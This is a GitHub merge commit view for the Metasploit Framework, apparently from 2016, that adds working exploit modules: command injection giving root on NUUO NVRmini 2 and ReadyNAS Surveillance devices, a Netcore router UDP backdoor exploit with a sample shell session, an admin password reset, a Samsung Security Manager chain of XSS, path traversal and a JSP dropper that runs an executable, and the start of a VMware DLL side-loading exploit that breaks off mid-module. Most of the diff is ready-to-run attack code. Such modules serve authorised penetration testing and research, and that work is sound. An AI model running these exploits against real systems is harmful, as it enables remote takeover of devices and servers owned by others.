Merge pull request #31 from rapid7/master

aa
MS-2855/keylogger-mettle-extension
Pedro Ribeiro 2016-08-08 22:57:00 +01:00 committed by GitHub
commit b38ba54b67
21 changed files with 1315 additions and 128 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.12.17)
metasploit-framework (4.12.18)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)

View File

@ -0,0 +1,94 @@
### Vulnerable Devices
Trend Micro lists "almost all" models as being vulnerable in August 2014.
Vulnerable AND Exploitable:
1. Netcore NI360 second-generation
Vulnerable, but not Exploitable via this module (details later):
1. Netis WF2414 firmware V1.4.27001
### Lab Emulation
1. Install qemu
2. Download and install mipsel. Please read the [tutorial](https://people.debian.org/%7Eaurel32/qemu/mipsel/README.txt)
3. Starts the mipsel lab
1. `qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net user,hostfwd=tcp::22222-:22,hostfwd=udp::53413-:53413`
4. Put [vuln_squashfs-root.tar.gz](https://github.com/rapid7/metasploit-framework/files/267284/vuln_squashfs-root.tar.gz) to mipsel lab, extract it.
1. `scp -P22222 vuln_squashfs-root.tar.gz root@127.0.0.1:/root`
2. `tar xvf vuln_squashfs-root.tar.gz`
5. Run vuln programs.
1. `cd nw614 && chroot . /bin/igdmptd`
## Verification Steps
1. Install the emulator/hardware
2. Start msfconsole
3. Do: `use exploits/linux/misc/netcore_udp_53413_backdoor`
4. Do: `set RHOST <ip>`
5. Do: `check`
6. Do: `exploit`
7. You should get a shell.
## Exploitability
As previously noted, some modules are vulnerable, but not currently exploitable via Metasploit.
During [testing](https://github.com/rapid7/metasploit-framework/pull/6880#issuecomment-231597626) it was discovered that some modules implement an echo command that does not honor -ne. While it may be possible to still execute a shell, further investigation would need to be conducted.
In these cases, it should be possible to use [other scripts](https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py) to act as a fake interactive shell.
## Scenarios
The following is an example of a vulnerable AND EXPLOITABLE router.
```
use exploits/linux/misc/netcore_udp_53413_backdoor
msf exploit(netcore_udp_53413_backdoor) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf exploit(netcore_udp_53413_backdoor) > check
[+] The target is vulnerable.
msf exploit(netcore_udp_53413_backdoor) > run
[*] Started reverse TCP handler on 192.168.1.2:4444
[*] Exploiting...
[*] Command Stager progress - 12.54% done (196/1563 bytes)
[*] Command Stager progress - 25.08% done (392/1563 bytes)
[*] Command Stager progress - 37.62% done (588/1563 bytes)
[*] Command Stager progress - 50.16% done (784/1563 bytes)
[*] Command Stager progress - 62.70% done (980/1563 bytes)
[*] Command Stager progress - 75.24% done (1176/1563 bytes)
[*] Command Stager progress - 87.78% done (1372/1563 bytes)
[*] Command Stager progress - 100.00% done (1563/1563 bytes)
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.1:54180) at 2016-05-16 00:52:43 -0500
pwd
/
ls
bin
cfg
dev
etc
lib
linuxrc
log
proc
sbin
sh
sys
tmp
usr
var
web
```
The following is an example of a vulnerable but NOT expoitable router.
```
msf > use exploits/linux/misc/netcore_udp_53413_backdoor
msf exploit(netcore_udp_53413_backdoor) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf exploit(netcore_udp_53413_backdoor) > check
[+] Backdoor Unlocked
[*] Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.
[*] The target service is running, but could not be validated.
```

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.12.17"
VERSION = "4.12.18"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -50,6 +50,7 @@ class CommandShell
def initialize(*args)
self.platform ||= ""
self.arch ||= ""
self.max_threads = 1
super
end
@ -235,6 +236,7 @@ class CommandShell
attr_accessor :arch
attr_accessor :platform
attr_accessor :max_threads
protected

View File

@ -69,6 +69,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
# Don't pass the datastore into the init_meterpreter method
opts.delete(:datastore)
# Assume by default that 10 threads is a safe number for this session
self.max_threads ||= 10
#
# Initialize the meterpreter client
#
@ -323,6 +326,27 @@ class Meterpreter < Rex::Post::Meterpreter::Client
username = self.sys.config.getuid
sysinfo = self.sys.config.sysinfo
self.platform =
self.sys.config.sysinfo["Architecture"].downcase + '/' +
self.platform.split('/')[0] +'/' +
case self.sys.config.sysinfo['OS']
when /windows/i
Msf::Module::Platform::Windows
when /darwin/i
Msf::Module::Platform::OSX
when /freebsd/i
Msf::Module::Platform::FreeBSD
when /netbsd/i
Msf::Module::Platform::NetBSD
when /openbsd/i
Msf::Module::Platform::OpenBSD
when /sunos/i
Msf::Module::Platform::Solaris
else
Msf::Module::Platform::Linux
end.realname.downcase
safe_info = "#{username} @ #{sysinfo['Computer']}"
safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding)
# Should probably be using Rex::Text.ascii_safe_hex but leave
@ -474,6 +498,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
attr_accessor :skip_ssl
attr_accessor :skip_cleanup
attr_accessor :target_id
attr_accessor :max_threads
protected

View File

@ -54,7 +54,8 @@ module Exploit::Remote::HttpClient
Opt::SSLVersion,
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout'])
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']),
OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false])
], self.class
)
@ -324,9 +325,30 @@ module Exploit::Remote::HttpClient
begin
c = connect(opts)
r = c.request_raw(opts)
c.send_recv(r, actual_timeout)
rescue ::Errno::EPIPE, ::Timeout::Error
if datastore['HttpTrace']
print_line('#' * 20)
print_line('# Request:')
print_line('#' * 20)
print_line(r.to_s)
end
res = c.send_recv(r, actual_timeout)
if datastore['HttpTrace']
print_line('#' * 20)
print_line('# Response:')
print_line('#' * 20)
print_line(res.to_s)
end
res
rescue ::Errno::EPIPE, ::Timeout::Error => e
print_line(e.message) if datastore['HttpTrace']
nil
rescue ::Exception => e
print_line(e.message) if datastore['HttpTrace']
raise e
end
end
@ -343,12 +365,35 @@ module Exploit::Remote::HttpClient
actual_timeout = opts[:timeout] || timeout
end
print_line("*" * 20) if datastore['HttpTrace']
begin
c = connect(opts)
r = c.request_cgi(opts)
c.send_recv(r, actual_timeout)
rescue ::Errno::EPIPE, ::Timeout::Error
if datastore['HttpTrace']
print_line('#' * 20)
print_line('# Request:')
print_line('#' * 20)
print_line(r.to_s)
end
res = c.send_recv(r, actual_timeout)
if datastore['HttpTrace']
print_line('#' * 20)
print_line('# Response:')
print_line('#' * 20)
print_line(res.to_s)
end
res
rescue ::Errno::EPIPE, ::Timeout::Error => e
print_line(e.message) if datastore['HttpTrace']
nil
rescue ::Exception => e
print_line(e.message) if datastore['HttpTrace']
raise e
end
end

View File

@ -409,6 +409,10 @@ class Msf::Module::Platform
Rank = 700
Alias = "10"
end
class V11
Rank = 800
Alias = "11"
end
end
#

View File

@ -0,0 +1,84 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
'Description' => %q{
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable
to an administrator password reset on the exposed web management interface.
Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware
(before v1.7.6), otherwise you need an administrative user password.
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
in those devices.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-5676'],
['US-CERT-VU', '856152'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 4 2016'))
register_options(
[
Opt::RPORT(8081),
OptString.new('TARGETURI', [true, "Application path", '/']),
OptString.new('USERNAME', [false, 'The username to login as', 'admin']),
OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']),
], self.class)
end
def run
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
'vars_get' => { 'cmd' => "loaddefconfig" }
})
if res && res.code == 401
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
'vars_post' => {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'submit' => "Login"
}
})
if res && (res.code == 200 || res.code == 302)
cookie = res.get_cookies
else
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
end
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
'cookie' => cookie,
'vars_get' => { 'cmd' => "loaddefconfig" }
})
end
if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
print_good("#{peer} - Device has been reset to the default configuration.")
else
print_error("#{peer} - Failed to reset device.")
end
end
end

View File

@ -0,0 +1,176 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution',
'Description' => %q{
The NVRmini 2 Network Video Recorder, Crystal NVR and the ReadyNAS Surveillance application are vulnerable
to an authenticated remote code execution on the exposed web administration interface. An administrative
account is needed to exploit this vulnerability.
This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS.
This exploit has been tested on several versions of the NVRmini 2, Crystal and the ReadyNAS Surveillance.
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
in those devices.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-5675'],
['US-CERT-VU', '856152'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
],
'DefaultOptions' => { 'WfsDelay' => 5 },
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false, # Runs as root in NVRmini 2 / Crystal, admin in ReadyNas
'Targets' =>
[
[ 'Automatic', { } ],
[ 'NUUO NVRmini 2', {
'Payload' =>
{
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat generic perl'
}
},
}],
[ 'ReadyNAS NETGEAR Surveillance', {
'Payload' =>
{
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat generic perl'
}
},
}],
[ 'NUUO Crystal', {
'Payload' =>
{
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'bash'
}
},
}],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 4 2016'))
register_options(
[
Opt::RPORT(8081),
OptString.new('TARGETURI', [true, "Application path", '/']),
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
], self.class)
end
def id_target
return target if target.name != 'Automatic'
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'])
})
if res && res.code == 200
if res.body.to_s =~ /var VENDOR_NAME = "Netgear";/
print_status("#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.")
return targets[2]
elsif res.body.to_s =~ /v_web_login_login_type/
print_status("#{peer} - Identified NUUO Crystal as the target.")
return targets[3]
else
print_status("#{peer} - Identified NUUO NVRMini 2 as the target.")
return targets[1]
end
end
end
def exploit
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
'vars_post' => {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'submit' => "Login"
}
})
if res && (res.code == 200 || res.code == 302)
cookie = res.get_cookies
else
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
end
my_target = id_target
if my_target == targets[1]
if payload.raw.include?("perl")
fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or netcat payloads.")
end
print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
'cookie' => cookie,
'vars_get' => {
'act' => "update",
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.encoded
}
}, 1)
elsif my_target == targets[2]
if payload.raw.include?("netcat")
fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support netcat payloads.")
end
# We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows
# it up.
print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
'cookie' => cookie,
'vars_get' => {
'act' => "update",
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw.gsub("-MIO ", "-MIO::Socket ")
}
}, 1)
else
if not payload.raw.include?("exec")
fail_with(Failure::Unknown, "NUUO Crystal only supports bash payloads.")
end
print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
'cookie' => cookie,
'vars_get' => {
'act' => "update",
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw
}
}, 1)
end
handler
end
end

View File

@ -0,0 +1,152 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Unauthenticated Remote Code Execution',
'Description' => %q{
The NVRmini 2 Network Video Recorder and the ReadyNAS Surveillance application are vulnerable
to an unauthenticated remote code execution on the exposed web administration interface.
This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS.
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
in those devices.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-5674'],
['US-CERT-VU', '856152'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
],
'DefaultOptions' => { 'WfsDelay' => 5 },
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false, # Runs as root in NVRmini 2, admin in ReadyNas
'Payload' =>
{
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
'DisableNops' => true,
# No encoder works, so we have to work around these badchars manually
#'BadChars' => "\x2f\x00\x3b\x27\x22",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'openssl generic telnet perl'
}
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'NUUO NVRmini 2', { } ],
[ 'ReadyNAS NETGEAR Surveillance', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 4 2016'))
register_options(
[
Opt::RPORT(8081),
OptString.new('TARGETURI', [true, "Application path", '/'])
], self.class)
end
def send_payload (payload, wait)
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "__debugging_center_utils___.php"),
'vars_get' => { 'log' => rand_text_alpha(8 + rand(8)) + ";" + payload }
}, wait)
return res
end
def check
echo = rand_text_alpha(9 + rand(9))
res = send_payload("echo #{echo}", 20)
if res && res.body.to_s =~ /([#{echo}]{2})/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def id_target
return target if target.name != 'Automatic'
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'])
})
if res && res.code == 200
if res.body.to_s =~ /var VENDOR_NAME = "Netgear";/
print_status("#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.")
return targets[2]
else
print_status("#{peer} - Identified NUUO NVRMini 2 as the target.")
return targets[1]
end
end
end
def exploit
my_target = id_target
if my_target == targets[1]
#
# The command cannot have forward slashes, single quotes or double quotes, so we remove
# the redir to /dev/null and the single quotes in the Metasploit payload. Because of the
# latter we also have to remove the "sh -c" part for the command to execute properly.
#
# This all sounds messy, but it was impossible to get any payload to encode properly as the
# target is an embedded system without base64, perl, python, ruby and similar utilities.
#
# We also have to check for perl, awk and lua as these are valid payloads for the ReadyNAS
# but not for the NVRmini 2.
#
# Also because of Metasploit payload limitations we cannot specify different payload constraints
# for different targets, so we use the payload raw for the NVRmini 2 and encoded for the ReadyNAS.
#
if payload.raw.include?("perl")
fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or telnet payloads.")
end
payload_clean = payload.raw.gsub('>/dev/null', '').gsub('sh -c', '').gsub('"','').gsub("'",'')
if not payload_clean =~ /([\/'"]+)/
print_status("#{peer} - Executing payload...")
send_payload(payload_clean, 1)
handler
else
fail_with(Failure::Unknown, "Your payload cannot have any of the following characters: / ' \"")
end
elsif my_target == targets[2]
#
# The ReadyNAS has less char restrictions (it only fails with forward slash) but it also
# does not have the telnet binary.
# We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows
# it up.
#
if payload.raw.include? "telnet"
fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support telnet payloads (try openssl or perl).")
end
print_status("#{peer} - Executing payload...")
payload_clean = payload.raw.gsub("-MIO ", "-MIO::Socket ")
send_payload("echo #{Rex::Text.encode_base64(payload_clean)} | base64 -d | sh", 1)
handler
else
fail_with(Failure::Unknown, "Failed to pick a target")
end
end
end

View File

@ -0,0 +1,123 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Netcore Router Udp 53413 Backdoor',
'Description' => %q{
Routers manufactured by Netcore, a popular brand for networking
equipment in China, have a wide-open backdoor that can be fairly
easily exploited by attackers. These products are also sold under
the Netis brand name outside of China. This backdoor allows
cyber criminals to easily run arbitrary code on these routers,
rendering it vulnerable as a security device.
Some models include a non-standard echo command which doesn't
honor -e, and are therefore not currently exploitable with
Metasploit. See URLs or module markdown for additional options.
},
'Author' =>
[
'Nixawk',
'h00die <mike@shorebreaksecurity.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ],
[ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ],
[ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py']
],
'Privileged' => true,
'Targets' =>
[
['MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
['MIPS Big Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 25 2014'))
register_options(
[
OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]),
Opt::RPORT(53413)
], self.class)
end
def timeout
(datastore['TIMEOUT'] || 1000) / 1000.0
end
def send_command(data)
payload = "\x00" * 8
payload << data
udp_sock.put(payload)
end
def execute_command(cmd, _opts)
send_command(cmd)
vprint_status("Sending: #{cmd}")
end
def authenticate()
# netcore is the password to unlock the backdoor
send_command('netcore')
resp = udp_sock.get(timeout)
if resp.include?('Login succeeded!')
vprint_good('Backdoor Unlocked')
end
end
def check
connect_udp
authenticate
resp = []
tmp_file = Rex::Text.rand_text_alpha(5)
# we need to test the echo command to see if it plays nice
["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command|
send_command(command)
resp << udp_sock.get(timeout)
end
disconnect_udp
resp_str = resp.join(',')
# check if we got a good response back
if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file)
# some routers have a non-standard echo which doesn't support -en, so we need to detect that
if resp_str.include?('en ')
print_status('Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.')
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Vulnerable
end
else
Exploit::CheckCode::Safe
end
end
def exploit
print_status('Exploiting...')
connect_udp
authenticate
execute_cmdstager(:flavor => :echo, :linemax => 200)
disconnect_udp
end
end

View File

@ -0,0 +1,230 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution",
'Description' => %q{
This is an exploit against Samsung Security Manager that bypasses the patch in
CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has
been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to
bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request
to upload the code just where we want it and gain Remote Code Execution as SYSTEM.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <mr_me[at]offensive-security.com>', # vuln + module
],
'References' =>
[
[ 'URL', 'http://metasploit.com' ]
],
'Platform' => 'win',
'Targets' =>
[
# tested on 1.32, 1.4 & 1.5
[ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', {} ],
],
'DisclosureDate' => "Aug 05 2016",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end
# this is because String.fromCharCode has a max of 65535 func args
# thanks to sinn3r for his help with the Array->String conversion
def encode_js(string)
i = 0
encoded_0 = []
encoded_1 = []
string.each_byte do |c|
if i > 65534
encoded_1 << c
else
encoded_0 << c
end
i += 1
end
if i > 65534
return encoded_0 * ",", encoded_1 * ","
else
return encoded_0 * ","
end
end
# tested on Firefox v46.0.1 (latest)
# tested on Chrome v50.0.2661.102 (latest release)
# tested on IE v11.0.9600.18314 (latest)
def on_request_uri(cli, request)
js_name = rand_text_alpha(rand(10)+5) + '.js'
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name
# we deliver the JavaScript code that does the work for us
if (request.uri.match(/.js/))
return if ((p = regenerate_payload(cli)) == nil)
# dont exploit again otherwise we get a zillion shells
return if session_created? or @exploited
jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
# clean just the jsp, because the exe dropper will be in use
register_files_for_cleanup("../../webapps/admin/#{jsp_name}")
# our jsp upload, ensuring native code execution
jsp = %Q|<%@ page import="java.io.*" %>
<%
ByteArrayOutputStream buf = new ByteArrayOutputStream();
BufferedReader reader = request.getReader();
int tmp;
while ((tmp = reader.read()) != -1) { buf.write(tmp); }
FileOutputStream fostream = new FileOutputStream("#{exe_name}");
buf.writeTo(fostream);
fostream.close();
Runtime.getRuntime().exec("#{exe_name}");
%>|
# encode the payloads
encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
encoded_jsp = encode_js(jsp)
# targets
jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"
upload_uri = "http://localhost:8161/admin/#{jsp_name}"
# this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
js_content = %Q|
function do_put(uri, file_data) {
var file_size = file_data.length;
var xhr = new XMLHttpRequest();
xhr.open("PUT", uri, true);
var body = file_data;
xhr.send(body);
return true;
}
function do_upload(uri, file_data) {
var file_size = file_data.length;
var xhr = new XMLHttpRequest();
xhr.open("POST", uri, true);
var body = file_data;
// latest ff doesnt have sendAsBinary(), so we redefine it
if(!xhr.sendAsBinary){
xhr.sendAsBinary = function(datastr) {
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
this.send(ui8a.buffer);
}
}
xhr.sendAsBinary(body);
return true;
}
function bye_bye_xss(uri){
var xhr = new XMLHttpRequest();
xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);
xhr.send();
}
function clean_up(){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var els = xhr.responseXML.getElementsByTagName("a");
for (var i = 0, l = els.length; i < l; i++) {
var el = els[i];
if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {
bye_bye_xss(el.href);
}
}
}
}
xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);
xhr.responseType = "document"; // so that we can parse the reponse as a document
xhr.send(null);
}
function exploit(){
do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));
clean_up();
}
function start() {
do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
setTimeout(exploit(), 2000); // timing is important
}
start();
|
if datastore['OBFUSCATE']
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
js_content.obfuscate
end
print_status("Sending javascript...")
@exploited = true
send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })
return
end
if datastore['OBFUSCATE']
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
js_content.obfuscate
onlick = ::Rex::Exploitation::JSObfu.new(onlick)
onlick.obfuscate
end
iframe_injection = ""
# done so that we can ensure that we hit our payload, since iframes load very fast, we need a few
(1..20).step(1) do |n|
iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>"
end
# the stored XSS endpoint
target = "http://localhost:8161/admin/browse.jsp?JMSDestination="
# we use XSS to execute JavaScript code in local context to avoid CORS
xss_injection = "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';"
xss_injection << "a.src='#{payload_url}';document.body.appendChild(a)\")+\""
target << Rex::Text.uri_encode(xss_injection)
# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
html_content = %Q|
<html>
<body>
<iframe src="#{target}" width="0" height="0"></iframe>
#{iframe_injection}
</body>
</html>
|
print_status("Sending exploit...")
send_response_html(cli, html_content)
handler(cli)
end
end

View File

@ -0,0 +1,346 @@
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',
'Description' => %q{
A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
a component of VMware Tools. This issue can be exploited by luring a victim into
opening a document from the attacker's share. An attacker can exploit this issue to
execute arbitrary code with the privileges of the target user. This can potentially
result in the attacker taking complete control of the affected system. If the WebDAV
Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
},
'Author' => 'Yorick Koster',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-5330'],
['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' => { 'Space' => 2048, },
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x64', {'Arch' => ARCH_X86_64,} ],
[ 'Windows x86', {'Arch' => ARCH_X86,} ]
],
'Privileged' => false,
'DisclosureDate' => 'Aug 5 2016',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]),
OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ])
], self.class)
# no SSL
deregister_options('SSL', 'SSLVersion', 'SSLCert')
end
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
print_status("#{request.method} => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
def process_get(cli, request)
